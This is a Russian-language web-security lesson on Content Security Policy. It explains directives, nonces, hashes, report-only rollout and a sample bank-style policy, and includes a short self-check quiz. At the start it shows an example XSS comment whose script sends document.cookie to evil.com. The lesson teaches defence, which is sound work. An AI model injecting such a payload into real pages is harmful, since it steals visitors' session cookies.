Content Security Policy (CSP)

Content Security Policy (CSP)

CORS решает, с каких доменов можно читать данные. Но есть другая проблема: что если злоумышленник внедрил вредоносный скрипт на страницу? XSS-атака может украсть данные, даже если все API-запросы корректны. Content Security Policy (CSP) — это заголовок, через который сервер говорит браузеру, что исполнять, а что нет.

Проблема: инлайн-скрипты и подгрузка с чужих доменов

Представь: сайт позволяет пользователям оставлять комментарии. Злоумышленник оставляет комментарий с <script>-тегом:

Отличный товар!
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

Если сайт не экранирует HTML при выводе комментариев, этот скрипт выполнится у всех посетителей страницы. Это XSS (Cross-Site Scripting). CSP способен предотвратить исполнение такого скрипта.

Как CSP защищает

CSP — это allowlist. Ты перечисляешь, ОТКУДА можно загружать скрипты, стили, картинки, шрифты. Всё остальное — блокируется:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

Эта политика означает:

  • default-src 'self' — по умолчанию загружать ресурсы только с этого же origin.
  • script-src 'self' https://cdn.example.com — скрипты можно загружать с того же origin И с конкретного CDN.

Вредоносный <script> с inline-кодом или ссылкой на evil.com будет заблокирован. Браузер покажет ошибку в консоли:

Refused to execute inline script because it violates the following
Content Security Policy directive: "script-src 'self' https://cdn.example.com"

Директивы CSP

CSP управляет каждым типом ресурсов отдельно:

ДирективаЧто контролирует
default-srcЗначение по умолчанию для всего, что не указано явно
script-srcJavaScript (включая inline <script>, eval, setTimeout с строкой)
style-srcCSS (включая inline <style>)
img-srcИзображения (<img>, background-image)
font-srcШрифты (@font-face)
connect-srcfetch(), XMLHttpRequest, WebSocket
frame-src<iframe> и <frame>
media-src<audio>, <video>
object-src<object>, <embed>, <applet>

Nonce и hash: разрешить «хорошие» инлайн-скрипты

Строгий CSP запрещает все инлайн-скрипты. Но иногда инлайн нужен легитимно (React, Next.js внедряют инлайн-скрипты для гидрации). Решение — nonce (одноразовый токен) или hash:

Nonce — случайная строка, меняющаяся при каждом ответе. Сервер генерирует nonce и встраивает в CSP и в <script>-тег:

Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'

<script nonce="r4nd0m123">
  console.log('Этот скрипт разрешён — nonce совпадает');
</script>

Hash — SHA-хэш содержимого скрипта. Сервер вычисляет хэш легитимного инлайн-скрипта и добавляет его в CSP:

Content-Security-Policy: script-src 'self' 'sha256-abc123...'

<script>console.log('hello');</script>  ← хэш совпадает → разрешён

Построение CSP: от мониторинга к блокировке

Внедрять CSP опасно — можно сломать сайт, заблокировав легитимные ресурсы. Правильный путь — двухэтапный:

Этап 1: Report-only. CSP не блокирует, а только сообщает о нарушениях:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violations

Сервер получает JSON-отчёты о том, что было бы заблокировано. Разработчик анализирует и подчищает политику.

Этап 2: Enforce. После отладки политика включается через Content-Security-Policy (без Report-Only). Нарушения блокируются.

Пример реальной CSP

CSP сайта уровня банка может выглядеть так:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m123';
  style-src 'self' 'unsafe-inline';
  img-src 'self' https: data:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.bank.com;
  frame-src 'none';
  object-src 'none';
  base-uri 'self';
  form-action 'self';

Разбор:

  • Скрипты — только с того же origin с nonce. Никаких чужих CDN для скриптов (самый критичный ресурс).
  • Стили — тот же origin + 'unsafe-inline' (допустимо, CSS не может украсть данные).
  • Картинки — свой origin + любые HTTPS + data: URI.
  • Фреймы и объекты (Flash/Java) полностью запрещены.
  • form-action 'self' — формы отправляются только на свой сайт.

Проверь себя

  1. Чем CSP отличается от CORS?
  2. Почему 'unsafe-inline' для script-src опасно?
  3. Зачем нужен Report-Only режим?
<details> <summary>Ответы</summary>
  1. CORS контролирует, с каких доменов МОЖНО ЧИТАТЬ ответы. CSP контролирует, откуда можно ЗАГРУЖАТЬ и ИСПОЛНЯТЬ ресурсы (скрипты, стили, картинки). Разные уровни защиты.
  2. Разрешает инлайн-скрипты (<script> без src). Главный вектор XSS — инлайн-скрипты, внедрённые злоумышленником. 'unsafe-inline' отключает эту защиту.
  3. Report-Only позволяет собрать реальные данные о том, какие ресурсы были бы заблокированы CSP, не ломая сайт. Это безопасный способ отладки перед включением enforcing.
</details>

Что унести с урока

  • CSP — allowlist, указывающий браузеру, откуда можно загружать ресурсы.
  • script-src — самая критичная директива (защита от XSS).
  • Nonce и hash позволяют выполнить легитимные инлайн-скрипты без 'unsafe-inline'.
  • Внедрять через Report-Only → анализ → Enforce.

В следующем уроке разберём XSS, CSRF и распространённые атаки — как они работают и как защищаться на уровне HTTP и приложения.

Попробуйте интерактивную версию

Практические задачи, квизы и AI-наставник — бесплатный старт без карты

Перейти к практике